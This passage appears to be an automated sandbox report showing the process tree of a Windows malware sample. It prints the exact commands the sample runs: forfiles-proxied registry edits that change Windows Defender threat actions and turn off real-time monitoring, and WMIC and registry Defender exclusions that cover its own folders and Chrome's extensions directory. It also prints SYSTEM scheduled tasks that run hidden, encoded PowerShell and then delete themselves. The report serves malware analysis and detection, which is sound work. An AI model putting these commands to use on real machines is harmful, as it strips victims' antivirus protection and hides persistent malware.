        forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
        7⤵
        Indirect Command Execution
        
        PID:1092
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:1124
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        9⤵
        System Location Discovery: System Language Discovery
        
        PID:832
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        7⤵
        Indirect Command Execution
        System Location Discovery: System Language Discovery
        
        PID:2824
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:1044
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        9⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2036
        
        C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        10⤵
        System Location Discovery: System Language Discovery
        
        PID:2844
      - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        6⤵
        Indirect Command Execution
        
        PID:1040
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:1072
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        8⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1724
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        9⤵
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:1520
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bFanEennwxaepJkUms" /SC once /ST 01:17:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\MSHPIPluhvwZZmvKH\OaKIJwNcJieViYJ\cMvOIsW.exe\" FZ /zrgdida 385104 /S" /V1 /F
        6⤵
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:1688
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 492 -s 668
        6⤵
        Program crash
        
        PID:920
- - C:\Users\Admin\Pictures\GKmlMBPL3n0O1gHfyLouY7RJ.exe
    "C:\Users\Admin\Pictures\GKmlMBPL3n0O1gHfyLouY7RJ.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    PID:1632

C:\Windows\system32\taskeng.exe
taskeng.exe {4CB2BB60-62E5-4EF5-96E0-0F99A3D49A46} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:2472
- C:\Users\Admin\AppData\Local\Temp\MSHPIPluhvwZZmvKH\OaKIJwNcJieViYJ\cMvOIsW.exe
  C:\Users\Admin\AppData\Local\Temp\MSHPIPluhvwZZmvKH\OaKIJwNcJieViYJ\cMvOIsW.exe FZ /zrgdida 385104 /S
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:2456
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    PID:1240
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
      4⤵
      Indirect Command Execution
      System Location Discovery: System Language Discovery
      PID:2424
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:2332
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        6⤵
        
        PID:2316
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
      4⤵
      Indirect Command Execution
      PID:1284
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1696
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:672
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
      4⤵
      Indirect Command Execution
      PID:1676
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1920
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:568
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
      4⤵
      Indirect Command Execution
      System Location Discovery: System Language Discovery
      PID:2596
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:1940
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2392
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
      4⤵
      Indirect Command Execution
      PID:2300
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2460
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        6⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2164
        
        C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        7⤵
        
        PID:2836
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "guKMnTXIZ" /SC once /ST 00:00:59 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2764
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "guKMnTXIZ"
    3⤵
    PID:2752
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "guKMnTXIZ"
    3⤵
    PID:1044
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
    3⤵
    PID:2800
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
      4⤵
      Modifies Windows Defender Real-time Protection settings
      System Location Discovery: System Language Discovery
      PID:3060
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
    3⤵
    PID:1908
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:2360
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gAUmRnXrc" /SC once /ST 00:10:48 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3048
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gAUmRnXrc"
    3⤵
    PID:2344
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gAUmRnXrc"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2324
- - C:\Windows\SysWOW64\forfiles.exe
    "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True"
    3⤵
    - Indirect Command Execution
    - System Location Discovery: System Language Discovery
    PID:1768
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
      4⤵
      System Location Discovery: System Language Discovery
      PID:988
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1420
      - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1204
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\iFPNyOqWEPleGUTI" /t REG_DWORD /d 0 /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1512
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\iFPNyOqWEPleGUTI" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1860
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\iFPNyOqWEPleGUTI" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2924
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\iFPNyOqWEPleGUTI" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      System Location Discovery: System Language Discovery
      PID:444
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\iFPNyOqWEPleGUTI" /t REG_DWORD /d 0 /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2076
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\iFPNyOqWEPleGUTI" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1264
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\iFPNyOqWEPleGUTI" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2020
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\iFPNyOqWEPleGUTI" /t REG_DWORD /d 0 /reg:64
      4⤵
      System Location Discovery: System Language Discovery
      PID:2316
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C copy nul "C:\Windows\Temp\iFPNyOqWEPleGUTI\gLYZeWqw\DmfCKPkkeopzkeJo.wsf"
    3⤵
    PID:2332
- - C:\Windows\SysWOW64\wscript.exe
    wscript "C:\Windows\Temp\iFPNyOqWEPleGUTI\gLYZeWqw\DmfCKPkkeopzkeJo.wsf"
    3⤵
    - Modifies data under HKEY_USERS
    PID:1696
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AXIMGRmNcjuU2" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1640
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AXIMGRmNcjuU2" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      System Location Discovery: System Language Discovery
      PID:2596
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\UtWJzMtQRbBWenIIikR" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      System Location Discovery: System Language Discovery
      PID:2364
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\UtWJzMtQRbBWenIIikR" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:2296
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bbiQWjFxyQUn" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:2312
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bbiQWjFxyQUn" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:2308
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\oUbFZcjishNOC" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:2988
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\oUbFZcjishNOC" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:2524
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\oUieOXlOU" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:2748
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\oUieOXlOU" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:2752
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\CKabrDMveeUvWwVB" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:912
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\CKabrDMveeUvWwVB" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:3056
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:392
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      System Location Discovery: System Language Discovery
      PID:1488
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\MSHPIPluhvwZZmvKH" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      System Location Discovery: System Language Discovery
      PID:1124
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\MSHPIPluhvwZZmvKH" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:844
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\iFPNyOqWEPleGUTI" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:2292
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\iFPNyOqWEPleGUTI" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      System Location Discovery: System Language Discovery
      PID:2768
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AXIMGRmNcjuU2" /t REG_DWORD /d 0 /reg:32
      4⤵
      System Location Discovery: System Language Discovery
      PID:2868
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AXIMGRmNcjuU2" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:884
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\UtWJzMtQRbBWenIIikR" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2668
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\UtWJzMtQRbBWenIIikR" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2040
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bbiQWjFxyQUn" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2824
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bbiQWjFxyQUn" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2684
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\oUbFZcjishNOC" /t REG_DWORD /d 0 /reg:32
      4⤵
      System Location Discovery: System Language Discovery
      PID:2368
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\oUbFZcjishNOC" /t REG_DWORD /d 0 /reg:64
      4⤵
      System Location Discovery: System Language Discovery
      PID:3048
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\oUieOXlOU" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2240
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\oUieOXlOU" /t REG_DWORD /d 0 /reg:64
      4⤵
      System Location Discovery: System Language Discovery
      PID:996
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\CKabrDMveeUvWwVB" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:820
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\CKabrDMveeUvWwVB" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2280
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1000
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1096
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\MSHPIPluhvwZZmvKH" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2840
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\MSHPIPluhvwZZmvKH" /t REG_DWORD /d 0 /reg:64
      4⤵
      System Location Discovery: System Language Discovery
      PID:1400
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\iFPNyOqWEPleGUTI" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:616
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\iFPNyOqWEPleGUTI" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:300
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gGacbwXxT" /SC once /ST 00:35:12 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2348
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gGacbwXxT"
    3⤵
    PID:2068
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gGacbwXxT"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1228
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
    3⤵
    PID:340
  - - C:\Windows\SysWOW64\reg.exe
      REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
      4⤵
      System Location Discovery: System Language Discovery
      PID:2728
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
    3⤵
    PID:2004
  - - C:\Windows\SysWOW64\reg.exe
      REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
      4⤵
      PID:2392
